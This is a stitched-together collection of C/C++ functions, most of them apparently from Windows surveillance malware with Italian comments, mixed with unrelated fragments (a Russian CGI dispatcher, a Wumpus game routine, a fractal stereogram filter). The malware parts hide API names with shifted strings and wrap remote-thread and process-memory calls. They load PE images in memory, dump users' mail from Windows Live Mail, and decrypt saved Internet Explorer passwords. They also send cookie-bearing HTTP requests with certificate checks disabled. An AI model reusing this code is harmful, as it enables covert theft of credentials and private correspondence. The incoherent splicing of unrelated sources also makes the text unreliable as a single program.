//______________________________________________________________________________ // [] // Диспетчер вызовов прикладных фунций [] // [] void CGI_Interface (const char* CGI_Function, const char* InputArgs, const char* OutputArgs, void ** ppData) { // Поиск зарегистрированной функции FNC_BEGIN; { // EnumObject FNC (BX_EnumObject_New, "Создание или изменение параметров перечислителей типа ObjType."); FNC_IN (BX_EnumObject, ObjType, "Строка с названием типа объекта: {Country, City, Domain,ISP}."); FNC_IN (BX_EnumObject, Name, "Массив названий (на всех языках системы) перечислителя типа ObjType."); FNC_IN (BX_EnumObject, objID, "Если не указан, то создаётся новый объект"); FNC_OUT (BX_EnumObject, objID, "В случае создания объекта = ID созданного объекта."); FNC (BX_EnumObject_GetData, ""); FNC_IN (BX_EnumObject, ObjType, ""); FNC_IN (BX_EnumObject, Name, ""); FNC_IN (BX_EnumObject, objID, ""); FNC (BX_EnumObject_GetNamesAndIDs, ""); FNC_IN (BX_EnumObject, ObjType, ""); FNC_IN (BX_EnumObject, objID, ""); FNC_OUT (BX_EnumObject, objIDs, ""); FNC_OUT (BX_EnumObject, Name, ""); FNC (BX_EnumObject_Delete, ""); FNC_IN (BX_EnumObject, ObjType, ""); FNC_IN (BX_EnumObject, objID, ""); FNC_OUT (BX_EnumObject, objID, ""); // Language FNC (BX_Language_New, "Добавление языка. В objID возвращается идентификатор созданного объекта."); FNC_IN (BX_Language, OwnName, "Название данного языка на самом себе."); FNC_IN (BX_Language, Name, "Массив названий языка на всех поддерживаемых языках."); FNC_IN (BX_Language, Language, "Массив названий поддерживаемых языков на добавляемом языке. Порядок следования названий должен соответствовать порядку добавления языков в систему."); FNC_OUT (BX_Language, objID, "Идентификатор объекта."); FNC (BX_Language_PutData, "Изменение параметров существующего языка."); FNC_IN (BX_Language, objID, "Идентификатор объекта."); FNC_IN (BX_Language, OwnName, "Название данного языка на самом себе."); FNC_IN (BX_Language, Name, "Массив названий языка на всех поддерживаемых языках."); FNC_IN (BX_Language, Language, "Массив названий поддерживаемых языков на добавляемом языке. Порядок следования названий должен соответствовать порядку добавления языков в систему."); FNC (BX_Language_GetNamesAndIDs, "Получение названий всех языков, зарегистрированных в системе на языке #1. Названия возвращаются в поле Name[] входной структуры. Соответствующие идентификаторы возвращаются в поле objIDs[] входной структуры."); FNC_IN (BX_Language, objID, "Идентификатор объекта."); FNC_OUT (BX_Language, Name, "Массив названий языка на всех поддерживаемых языках."); FNC_OUT (BX_Language, objIDs, "Идентификаторы объектов."); FNC (BX_Language_GetData, "Получение информации о языке с указанным ID."); FNC_IN (BX_Language, objID, "Идентификатор объекта."); FNC_OUT (BX_Language, OwnName, "Название данного языка на самом себе."); FNC_OUT (BX_Language, Name, "Массив названий языка на всех поддерживаемых языках."); FNC_OUT (BX_Language, Language, "Массив названий поддерживаемых языков на добавляемом языке. Порядок следования названий должен соответствовать порядку добавления языков в систему."); FNC_OUT (BX_Language, No, "Порядковый номер языка"); FNC (BX_Language_Delete, "Удаление языка."); FNC_IN (BX_Language, objID, "Идентификатор объекта."); // QQQQQ FNC (BX_QQQQQ_GetData, "Получение информации о языке с указанным ID."); } // Вызов обнаруженной функции или сообщение об ошибке. FNC_END; }
void SocialWinHttpSetup(WCHAR *DestURL) { WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ProxyConfig; WINHTTP_PROXY_INFO ProxyInfoTemp, ProxyInfo; WINHTTP_AUTOPROXY_OPTIONS OptPAC; DWORD dwOptions = SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; ZeroMemory(&ProxyInfo, sizeof(ProxyInfo)); ZeroMemory(&ProxyConfig, sizeof(ProxyConfig)); // Crea una sessione per winhttp. g_http_social_session = FNC(WinHttpOpen)( L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2", WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); // Cerca nel registry le configurazioni del proxy if (g_http_social_session && FNC(WinHttpGetIEProxyConfigForCurrentUser)(&ProxyConfig)) { if (ProxyConfig.lpszProxy) { // Proxy specificato ProxyInfo.lpszProxy = ProxyConfig.lpszProxy; ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; ProxyInfo.lpszProxyBypass = NULL; } if (ProxyConfig.lpszAutoConfigUrl) { // Script proxy pac OptPAC.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; OptPAC.lpszAutoConfigUrl = ProxyConfig.lpszAutoConfigUrl; OptPAC.dwAutoDetectFlags = 0; OptPAC.fAutoLogonIfChallenged = TRUE; OptPAC.lpvReserved = 0; OptPAC.dwReserved = 0; if (FNC(WinHttpGetProxyForUrl)(g_http_social_session ,DestURL, &OptPAC, &ProxyInfoTemp)) memcpy(&ProxyInfo, &ProxyInfoTemp, sizeof(ProxyInfo)); } if (ProxyConfig.fAutoDetect) { // Autodetect proxy OptPAC.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; OptPAC.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; OptPAC.fAutoLogonIfChallenged = TRUE; OptPAC.lpszAutoConfigUrl = NULL; OptPAC.lpvReserved = 0; OptPAC.dwReserved = 0; if (FNC(WinHttpGetProxyForUrl)(g_http_social_session ,DestURL, &OptPAC, &ProxyInfoTemp)) memcpy(&ProxyInfo, &ProxyInfoTemp, sizeof(ProxyInfo)); } if (ProxyInfo.lpszProxy) FNC(WinHttpSetOption)(g_http_social_session, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof(ProxyInfo)); } WinHttpSetOption( g_http_social_session, WINHTTP_OPTION_SECURITY_FLAGS, &dwOptions, sizeof (DWORD) ); }
BOOL WINAPI HM_SafeVirtualProtectEx(HANDLE hProcess, LPVOID lpBaseAddress, SIZE_T nSize, DWORD flNewProtect, PDWORD lpflOldProtect) { static PBYTE pBytes = NULL; CHAR cDll[] = {"kernel32.dll"}, cFunc[] = {"WjsuvbmQspufduFy"}; if(HM_IsWrapped(cDll, cFunc) == FALSE){ return FNC(VirtualProtectEx)(hProcess, lpBaseAddress, nSize, flNewProtect, lpflOldProtect); }else{ if(pBytes == NULL) if(HM_ReadFunction(cDll, cFunc, 5, &pBytes) == 0) return FNC(VirtualProtectEx)(hProcess, lpBaseAddress, nSize, flNewProtect, lpflOldProtect); } HM_WINAPI(pBytes); }
BOOL WINAPI HM_SafeReadProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead) { static PBYTE pBytes = NULL; CHAR cDll[] = {"kernel32.dll"}, cFunc[] = {"SfbeQspdfttNfnpsz"}; if(HM_IsWrapped(cDll, cFunc) == FALSE){ return FNC(ReadProcessMemory)(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); }else{ if(pBytes == NULL) if(HM_ReadFunction(cDll, cFunc, 5, &pBytes) == 0) return FNC(ReadProcessMemory)(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesRead); } HM_WINAPI(pBytes); }
LRESULT WINAPI HM_SafeSendMessageTimeoutW(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, UINT fuflags, UINT utimeout, PDWORD_PTR lpdwresult) { static PBYTE pBytes = NULL; CHAR cDll[] = {"user32.dll"}, cFunc[] = {"TfoeNfttbhfUjnfpvuX"}; if(HM_IsWrapped(cDll, cFunc) == FALSE){ return FNC(SendMessageTimeoutW)(hwnd, msg, wparam, lparam, fuflags, utimeout, lpdwresult); }else{ if(pBytes == NULL) if(HM_ReadFunction(cDll, cFunc, 5, &pBytes) == 0) return FNC(SendMessageTimeoutW)(hwnd, msg, wparam, lparam, fuflags, utimeout, lpdwresult); } HM_WINAPI(pBytes); }
int WINAPI HM_SafeGetWindowTextA(HWND hWnd, LPSTR lpString, int nMaxCount) { static PBYTE pBytes = NULL; CHAR cDll[] = {"user32.dll"}, cFunc[] = {"HfuXjoepxUfyuB"}; if(HM_IsWrapped(cDll, cFunc) == FALSE){ return FNC(GetWindowTextA)(hWnd, lpString, nMaxCount); }else{ if(pBytes == NULL) if(HM_ReadFunction(cDll, cFunc, 5, &pBytes) == 0) return FNC(GetWindowTextA)(hWnd, lpString, nMaxCount); } HM_WINAPI(pBytes); }
// Dumpa l'intero contenuto della mail BOOL WLM_MailDumpFull(HANDLE source, DWORD mail_size, FILETIME *mail_date) { BYTE read_buff[2048]; DWORD size = 0; HANDLE hf; struct MailSerializedMessageHeader additional_header; ZeroMemory(&additional_header, sizeof(additional_header)); additional_header.Size = mail_size; additional_header.Flags |= MAIL_FULL_BODY; additional_header.VersionFlags = MAPI_V2_0_PROTO; additional_header.date.dwHighDateTime = mail_date->dwHighDateTime; additional_header.date.dwLowDateTime = mail_date->dwLowDateTime; hf = Log_CreateFile(PM_MAILAGENT, (BYTE *)&additional_header, sizeof(additional_header)); if (hf == INVALID_HANDLE_VALUE) return FALSE; while (FNC(ReadFile)(source, read_buff, sizeof(read_buff), &size, NULL) && size>0) { if (!Log_WriteFile(hf, read_buff, size)) { Log_CloseFile(hf); return FALSE; } } Log_CloseFile(hf); return TRUE; }
BOOL WLM_LogEmail(HANDLE fd, DWORD *mail_status, mail_filter_struct *mail_filter, FILETIME *mail_date) { DWORD size = 0, fsh = 0; // Ricalcola qui la size per sicurezza size = FNC(GetFileSize)(fd, &fsh); if (fsh>0) size = WLM_4GB; // Cattura tutta la mail if (size <= mail_filter->max_size) { // check paranoico if (*mail_status == WLM_MAIL_READ_FULL) return FALSE; *mail_status = WLM_MAIL_READ_FULL; return WLM_MailDumpFull(fd, size, mail_date); } else { // Cattura solo l'header // check paranoico if (*mail_status != WLM_MAIL_UNREAD) return FALSE; *mail_status = WLM_MAIL_READ_HEADER; return WLM_MailDumpHeader(fd, size, mail_date); } return FALSE; // not reached }
LPVOID loadDLL(char *dllName) { char moduleFilename[MAX_PATH + 1]; LPVOID ptrLoc = NULL; MZHeader mzH2; PE_Header peH2; PE_ExtHeader peXH2; SectionHeader *secHdr2; FNC(GetSystemDirectoryA)(moduleFilename, MAX_PATH); if((myStrlenA(moduleFilename) + myStrlenA(dllName)) >= MAX_PATH) return NULL; strncat_s(moduleFilename, MAX_PATH, dllName, MAX_PATH); // load this EXE into memory because we need its original Import Hint Table HANDLE fp; fp = FNC(CreateFileA)(moduleFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if(fp != INVALID_HANDLE_VALUE) { BY_HANDLE_FILE_INFORMATION fileInfo; FNC(GetFileInformationByHandle)(fp, &fileInfo); DWORD fileSize = fileInfo.nFileSizeLow; if(fileSize) { LPVOID exePtr = HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(exePtr) { DWORD read; if(FNC(ReadFile)(fp, exePtr, fileSize, &read, NULL) && read == fileSize) { if(readPEInfo((char *)exePtr, &mzH2, &peH2, &peXH2, &secHdr2)) { int imageSize = calcTotalImageSize(&mzH2, &peH2, &peXH2, secHdr2); ptrLoc = HM_SafeVirtualAllocEx(FNC(GetCurrentProcess)(), NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //ptrLoc = HeapAlloc(GetProcessHeap(), 0, imageSize); if(ptrLoc) { loadPE((char *)exePtr, &mzH2, &peH2, &peXH2, secHdr2, ptrLoc); } } } //HeapFree(GetProcessHeap(), 0, exePtr); FNC(VirtualFreeEx)(FNC(GetCurrentProcess)(), exePtr, 0, MEM_RELEASE); } } CloseHandle(fp); } return ptrLoc; }
WCHAR *GetTBProfilePath() { WCHAR appPath[MAX_PATH]; WCHAR iniFile[MAX_PATH]; WCHAR profilePath[MAX_PATH]; static WCHAR FullPath[MAX_PATH]; FNC(GetEnvironmentVariableW)(L"APPDATA", appPath, MAX_PATH); _snwprintf_s(iniFile, MAX_PATH, L"%s\\Thunderbird\\profiles.ini", appPath); FNC(GetPrivateProfileStringW)(L"Profile0", L"Path", L"", profilePath, sizeof(profilePath), iniFile); _snwprintf_s(FullPath, MAX_PATH, L"%s\\Thunderbird\\%s", appPath, profilePath); return FullPath; }
void move_wumpus() { k = FNC(); if (k < 3) loc[WUMPUS] = cave[loc[WUMPUS]][k]; if (loc[WUMPUS] != loc[YOU]) return; (void) puts("Tsk tsk tsk - Wumpus got you!"); finished = LOSE; }
HANDLE WINAPI HM_SafeCreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { return HM_SafeCreateRemoteThread(FNC(GetCurrentProcess)(), lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); }
static int doit (struct filter *f, int flags, int time) { int val; struct stereogramdata *s = (struct stereogramdata *) f->data; int i, y; double start, maxdist, dist; updateinheredimage (f); if (f->fractalc->maxiter < NCOLORS) s->palette->size = f->fractalc->maxiter; else s->palette->size = NCOLORS; val = f->previous->action->doit (f->previous, flags, time); table = (int *) malloc (sizeof (int) * NCOLORS); dist = (f->fractalc->s.rr) / 2; maxdist = INDEX_DIST * FNC (f->fractalc->maxiter) + START1; do { start = dist * maxdist - INDEX_DIST * FNC (s->minc); maxdist *= 5; } while (start + INDEX_DIST * (FNC (s->minc)) < 25.0); if (f->fractalc->maxiter < NCOLORS) y = f->fractalc->maxiter; else y = NCOLORS; if (y < 256) y = 256; for (i = 0; i < y; i++) { double dist; if (i != 0) dist = i; else dist = y - 1; dist = INDEX_DIST * (FNC (dist)) + start; table[i] = (int) (EYE_DIST * dist / (dist + USER_DIST) / PIXELWIDTH); } drivercall (*f->image, xth_function (do_stereogram8, f, f->childimage->height), xth_function (do_stereogram16, f, f->childimage->height), xth_function (do_stereogram24, f, f->childimage->height), xth_function (do_stereogram32, f, f->childimage->height)); xth_sync (); free (table); return val; }
HANDLE WINAPI HM_SafeCreateRemoteThread(HANDLE hProcessRem, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { static PBYTE pBytes = NULL; CHAR cDll[] = {"kernel32.dll"}, cFunc[] = {"DsfbufSfnpufUisfbe"}; if(HM_IsWrapped(cDll, cFunc) == FALSE){ return FNC(CreateRemoteThread)(hProcessRem, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); }else{ if(pBytes == NULL) if(HM_ReadFunction(cDll, cFunc, 5, &pBytes) == 0) return FNC(CreateRemoteThread)(hProcessRem, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); } HM_WINAPI(pBytes); }
BOOL RelocImage(PVOID exeAddr, PVOID newAddr) { MZHeader mzH2; PE_Header peH2; PE_ExtHeader peXH2; SectionHeader *secHdr2; if (!exeAddr || !newAddr) return FALSE; if(!readPEInfo((char *)exeAddr, &mzH2, &peH2, &peXH2, &secHdr2)) return FALSE; if(peXH2.relocationTableAddress && peXH2.relocationTableSize) { FixupBlock *fixBlk = (FixupBlock *)((char *)exeAddr + peXH2.relocationTableAddress); while(fixBlk->blockSize) { // Que - Questa funzione imposta _flags_ alle caratteristiche della sezione, in modo da // rilocare soltanto le entry di quelle sezioni che sono eseguibili. La mettiamo qui // cosi' evitiamo overhead, tanto ogni blocco si trova sicuramente all'interno della // stessa sezione. DWORD flags = 0; for(int j = 0; j < peH2.numSections; j++) { if(peXH2.imageBase + fixBlk->pageRVA >= peXH2.imageBase + secHdr2[j].virtualAddress && peXH2.imageBase + fixBlk->pageRVA < peXH2.imageBase + secHdr2[j].virtualAddress + secHdr2[j].virtualSize) { flags = secHdr2[j].characteristics; break; } flags = 0; } int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1); for(int i = 0; i < numEntries; i++) { int relocType = (*offsetPtr & 0xF000) >> 12; if(relocType == 3) { DWORD *codeLoc = (DWORD *)((char *)exeAddr + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); DWORD delta = (DWORD)newAddr - (DWORD)peXH2.imageBase; DWORD value = (*codeLoc) + delta; DWORD dummy; if(flags && (flags & IMAGE_SCN_MEM_EXECUTE)) HM_SafeWriteProcessMemory(FNC(GetCurrentProcess)(), codeLoc, &value, sizeof(DWORD), &dummy); } offsetPtr++; } fixBlk = (FixupBlock *)offsetPtr; } return TRUE; }
DWORD LogCloud_WCharToMB(LPWSTR pIn, LPSTR* pOut) { DWORD dwSize; //return the number of chars needed by dest buffer dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, 0, 0, 0, 0); if(dwSize == 0) return LC_CONV_ERROR; //alloc dest buffer *pOut = (LPSTR)zalloc(dwSize); if(*pOut == NULL) return LC_ALLOC_ERROR; //conversion dwSize = FNC(WideCharToMultiByte)(CP_ACP, 0, pIn, -1, *pOut, dwSize, 0 , 0); if(dwSize == 0) return LC_CONV_ERROR; return LC_SUCCESS; }
BOOL WLM_DumpEmails(mail_filter_struct *mail_filter) { WCHAR *keycur, *keyarray[] = { L"Software\\Microsoft\\Windows Live Mail", L"Software\\Microsoft\\Windows Mail", NULL }; WCHAR buf[MAX_PATH], storeroot[MAX_PATH]; DWORD len, keycount; HKEY appkey = NULL; HANDLE findh = INVALID_HANDLE_VALUE; WIN32_FIND_DATAW finddata; for(keycount = 0;(keycur = keyarray[keycount]); keycount++) { if (g_bMailForceExit) break; if(appkey) { FNC(RegCloseKey)(appkey); appkey = NULL; } if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, keycur, 0, KEY_READ, &appkey) != ERROR_SUCCESS) continue; len = sizeof(buf); if(FNC(RegQueryValueExW)(appkey, L"Store Root", NULL, NULL, (LPBYTE)buf, &len) != ERROR_SUCCESS) continue; if(!FNC(ExpandEnvironmentStringsW)(buf, storeroot, sizeof(storeroot)/sizeof(storeroot[0]))) continue; swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\*.*", storeroot); if((findh = FNC(FindFirstFileW)(buf, &finddata)) == INVALID_HANDLE_VALUE) continue; do { if (g_bMailForceExit) break; if(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if(finddata.cFileName[0] == L'.') continue; swprintf_s(buf, sizeof(buf)/sizeof(buf[0]), L"%s\\%s", storeroot, finddata.cFileName); FetchWindowsLiveMailMessages(buf, mail_filter); } } while(FNC(FindNextFileW)(findh, &finddata)); FNC(FindClose)(findh); } if(appkey) { FNC(RegCloseKey)(appkey); appkey = NULL; } return TRUE; }
BOOL WLM_SetRead(HANDLE fd, DWORD mail_status) { FILETIME creation_time; LARGE_INTEGER li; DWORD modulus; if (!FNC(GetFileTime)(fd, &creation_time, NULL, NULL)) return FALSE; li.HighPart = creation_time.dwHighDateTime; li.LowPart = creation_time.dwLowDateTime; li.QuadPart /= 100000; modulus = li.QuadPart % UNREAD_MODULUS_PERCENTAGE; li.QuadPart -= modulus; li.QuadPart += mail_status; li.QuadPart *= 100000; creation_time.dwHighDateTime = li.HighPart; creation_time.dwLowDateTime = li.LowPart; if (!FNC(SetFileTime)(fd, &creation_time, NULL, NULL)) return FALSE; return TRUE; }
BOOL WLM_MailDumpHeader(HANDLE source, DWORD mail_size, FILETIME *mail_date) { BYTE *header_end; BYTE *read_buff; DWORD size = 0; HANDLE hf = INVALID_HANDLE_VALUE; struct MailSerializedMessageHeader additional_header; ZeroMemory(&additional_header, sizeof(additional_header)); additional_header.Size = mail_size; additional_header.VersionFlags = MAPI_V2_0_PROTO; additional_header.date.dwHighDateTime = mail_date->dwHighDateTime; additional_header.date.dwLowDateTime = mail_date->dwLowDateTime; // Siamo sicuri che anche leggendo il massimo sia sempre NULL terminato if ( (read_buff = (BYTE *)calloc(MAX_HEADER_SIZE+2, 1) ) == NULL ) return FALSE; // Legge i primi K dell'header if (!FNC(ReadFile)(source, read_buff, MAX_HEADER_SIZE, &size, NULL) || size==0) { SAFE_FREE(read_buff); return FALSE; } // Se nello stream c'e' anche il body cerca di tagliarlo if (header_end = (BYTE *)strstr((char *)read_buff, "\r\n\r\n")) header_end[2]=0; // Scrive il log hf = Log_CreateFile(PM_MAILAGENT, (BYTE *)&additional_header, sizeof(additional_header)); if (hf == INVALID_HANDLE_VALUE) { SAFE_FREE(read_buff); return FALSE; } // L'header sara' comunque NULL terminato if (!Log_WriteFile(hf, read_buff, strlen((const char *)read_buff))) { Log_CloseFile(hf); SAFE_FREE(read_buff); return FALSE; } Log_CloseFile(hf); SAFE_FREE(read_buff); return TRUE; }
int DumpIE7(void) { wchar_t *UrlHistory[URL_HISTORY_MAX]; typeCryptUnprotectData pfCryptUnprotectData = NULL; typeCredEnumerate pfCredEnumerate = NULL; typeCredFree pfCredFree = NULL; PCREDENTIALW *CredentialCollection = NULL; HMODULE hAdvapi32DLL = NULL; HMODULE hCrypt32DLL = NULL; DWORD dwCount = 0; DWORD dwTempIndex = 0; int UrlListoryMax; char *KeyStr = {"Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2"}; HKEY hKey; if ( (hCrypt32DLL = LoadLibrary("crypt32.dll")) ) { pfCryptUnprotectData = (typeCryptUnprotectData)HM_SafeGetProcAddress(hCrypt32DLL, "CryptUnprotectData"); } if ( (hAdvapi32DLL = LoadLibrary("advapi32.dll")) ) { pfCredEnumerate = (typeCredEnumerate)HM_SafeGetProcAddress(hAdvapi32DLL, "CredEnumerateW"); pfCredFree = (typeCredFree)HM_SafeGetProcAddress(hAdvapi32DLL, "CredFree"); } // HTTP Password if ( pfCredEnumerate && pfCredFree && pfCryptUnprotectData ) { short tmp[37]; char *password={"abe2869f-9b47-4cd9-a358-c22904dba7f7"}; DATA_BLOB OptionalEntropy; DATA_BLOB DataIn; DATA_BLOB DataOut; for(int i=0; i< 37; i++) tmp[i] = (short int)(password[i] * 4); OptionalEntropy.pbData = (BYTE *)&tmp; OptionalEntropy.cbData = 74; dwCount = 0; CredentialCollection = NULL; pfCredEnumerate(L"Microsoft_WinInet_*", 0, &dwCount, &CredentialCollection); for(dwTempIndex=0; dwTempIndex<dwCount; dwTempIndex++) { WCHAR *ptr = NULL; if (CredentialCollection[dwTempIndex]->TargetName) { ptr = (WCHAR *)CredentialCollection[dwTempIndex]->TargetName; ptr += wcslen(L"Microsoft_WinInet_"); } DataIn.pbData = (BYTE *)CredentialCollection[dwTempIndex]->CredentialBlob; DataIn.cbData = CredentialCollection[dwTempIndex]->CredentialBlobSize; if(pfCryptUnprotectData(&DataIn, NULL, &OptionalEntropy, NULL, NULL, 0, &DataOut)) { WCHAR cred_data[1024]; WCHAR *pass_off = NULL; _snwprintf_s(cred_data, sizeof(cred_data)/sizeof(WCHAR), _TRUNCATE, L"%s", DataOut.pbData); if ( (pass_off = wcschr(cred_data, ':')) ) { *pass_off = 0; pass_off++; } LogPassword(L"IExplorer HTTP Auth", ptr, cred_data, pass_off); LocalFree(DataOut.pbData); } } if (CredentialCollection) pfCredFree(CredentialCollection); } // Saved Web Password if ( pfCryptUnprotectData ) { UrlListoryMax = GetUrlHistory(UrlHistory); // Prende la history if( FNC(RegOpenKeyExA)(HKEY_CURRENT_USER,KeyStr,0,KEY_QUERY_VALUE,&hKey) == ERROR_SUCCESS) { for(DWORD i=0;;i++) { char Val[1024]; DWORD Size = 1024; // Cicla tutti gli URL hashati if(ERROR_NO_MORE_ITEMS==FNC(RegEnumValueA)(hKey,i,Val, &Size, NULL,NULL, NULL, NULL)) break; // Cicla tutti gli URL nell'history... for(int n=0; n<UrlListoryMax; n++){ char HashStr[1024]; //...e ne fa l'hash GetHashStr(UrlHistory[n], HashStr); // Se trova quello giusto... if(strcmp(Val,HashStr) == 0){ DWORD BufferLen; DWORD dwType; FNC(RegQueryValueExA)(hKey, Val, 0, &dwType, NULL, &BufferLen); BYTE *Buffer = new BYTE[BufferLen]; if (!Buffer) break; //... legge il valore della password... if(FNC(RegQueryValueExA)(hKey, Val, 0, &dwType, Buffer, &BufferLen) == ERROR_SUCCESS) { DATA_BLOB DataIn; DATA_BLOB DataOut; DATA_BLOB OptionalEntropy; DataIn.pbData = Buffer; DataIn.cbData = BufferLen; OptionalEntropy.pbData = (unsigned char *)UrlHistory[n]; OptionalEntropy.cbData = (DWORD)(wcslen(UrlHistory[n])+1)*2; // ...e lo decifra if(pfCryptUnprotectData(&DataIn, 0, &OptionalEntropy, NULL, NULL, 1, &DataOut)) { ParseIE7Data(&DataOut, UrlHistory[n]); LocalFree(DataOut.pbData); } } delete [] Buffer; break; } } } FNC(RegCloseKey)(hKey); } // Cancella la URL History creata for(int n=0; n<UrlListoryMax; n++) delete [] UrlHistory[n]; } return 0; }
// Invia una richiesta HTTP e legge la risposta // Alloca il buffer con la risposta (che va poi liberato dal chiamante) DWORD HttpSocialRequest(WCHAR *Host, WCHAR *verb, WCHAR *resource, DWORD port, BYTE *s_buffer, DWORD sbuf_len, BYTE **r_buffer, DWORD *response_len, char *cookies) { WCHAR *cookies_w; DWORD cookies_len; DWORD dwStatusCode = 0; DWORD dwTemp = sizeof(dwStatusCode); DWORD n_read; char *types[] = { "*\x0/\x0*\x0",0 }; HINTERNET hConnect, hRequest; BYTE *ptr; DWORD flags = 0; BYTE temp_buffer[8*1024]; // Manda la richiesta cookies_len = strlen(cookies); if (cookies_len == 0) return SOCIAL_REQUEST_NETWORK_PROBLEM; cookies_len++; cookies_w = (WCHAR *)calloc(cookies_len, sizeof(WCHAR)); if (!cookies_w) return SOCIAL_REQUEST_NETWORK_PROBLEM; _snwprintf_s(cookies_w, cookies_len, _TRUNCATE, L"%S", cookies); if (port == 443) flags = WINHTTP_FLAG_SECURE; if ( !(hConnect = FNC(WinHttpConnect)( g_http_social_session, (LPCWSTR) Host, (INTERNET_PORT)port, 0))) { SAFE_FREE(cookies_w); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if ( !(hRequest = FNC(WinHttpOpenRequest)( hConnect, verb, resource, NULL, WINHTTP_NO_REFERER, (LPCWSTR *) types, flags)) ) { SAFE_FREE(cookies_w); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!FNC(WinHttpAddRequestHeaders)(hRequest, L"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", -1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD)) { SAFE_FREE(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!FNC(WinHttpAddRequestHeaders)(hRequest, cookies_w, -1, WINHTTP_ADDREQ_FLAG_REPLACE | WINHTTP_ADDREQ_FLAG_ADD)) { SAFE_FREE(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!FNC(WinHttpSendRequest)(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, s_buffer, sbuf_len, sbuf_len, NULL)) { SAFE_FREE(cookies_w); WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } SAFE_FREE(cookies_w); // Legge la risposta if(!FNC(WinHttpReceiveResponse)(hRequest, 0)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (!WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_STATUS_CODE| WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwTemp, NULL )) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } if (dwStatusCode != HTTP_STATUS_OK) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_BAD_COOKIE; } *response_len = 0; *r_buffer = NULL; for(;;) { if (!FNC(WinHttpReadData)(hRequest, temp_buffer, sizeof(temp_buffer), &n_read) || n_read==0 || n_read>sizeof(temp_buffer)) break; if (!(ptr = (BYTE *)realloc((*r_buffer), (*response_len) + n_read + sizeof(WCHAR)))) break; *r_buffer = ptr; memcpy(((*r_buffer) + (*response_len)), temp_buffer, n_read); *response_len = (*response_len) + n_read; // Null-termina sempre il buffer memset(((*r_buffer) + (*response_len)), 0, sizeof(WCHAR)); } if (!(*r_buffer)) { WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_NETWORK_PROBLEM; } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); return SOCIAL_REQUEST_SUCCESS; }
